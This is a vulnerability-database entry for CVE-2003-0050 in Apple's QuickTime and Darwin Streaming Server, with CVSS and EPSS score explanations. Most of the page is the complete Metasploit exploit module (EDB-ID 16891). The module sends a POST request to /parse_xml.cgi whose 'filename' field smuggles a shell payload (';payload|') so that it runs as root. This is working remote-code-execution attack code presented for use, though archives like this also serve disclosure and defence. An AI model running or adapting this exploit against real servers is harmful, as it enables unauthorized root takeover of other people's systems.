Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 16891
Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: qtss_parse_xml_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QuickTime Streaming Server parse_xml.cgi Remote Execution',
'Description' => %q{
The QuickTime Streaming Server contains a CGI script that is vulnerable
to metacharacter injection, allow arbitrary commands to be executed as root.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'OSVDB', '10562'],
[ 'BID', '6954' ],
[ 'CVE', '2003-0050' ]
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 24 2003'
))
register_options(
[
Opt::RPORT(1220)
], self.class)
end
def exploit
print_status("Sending post request with embedded command...")
data = "filename=" + Rex::Text.uri_encode(";#{payload.encoded}|")
response = send_request_raw({
'uri' => "/parse_xml.cgi",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => data.length,
}
}, 3)
# If the upload worked, the server tries to redirect us to some info
# about the file we just saved
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
handler
end
end
Products Mentioned
Configuraton 0
Apple>>Darwin_streaming_server >> Version 4.1.2
Apple>>Quicktime_streaming_server >> Version 4.1.1
References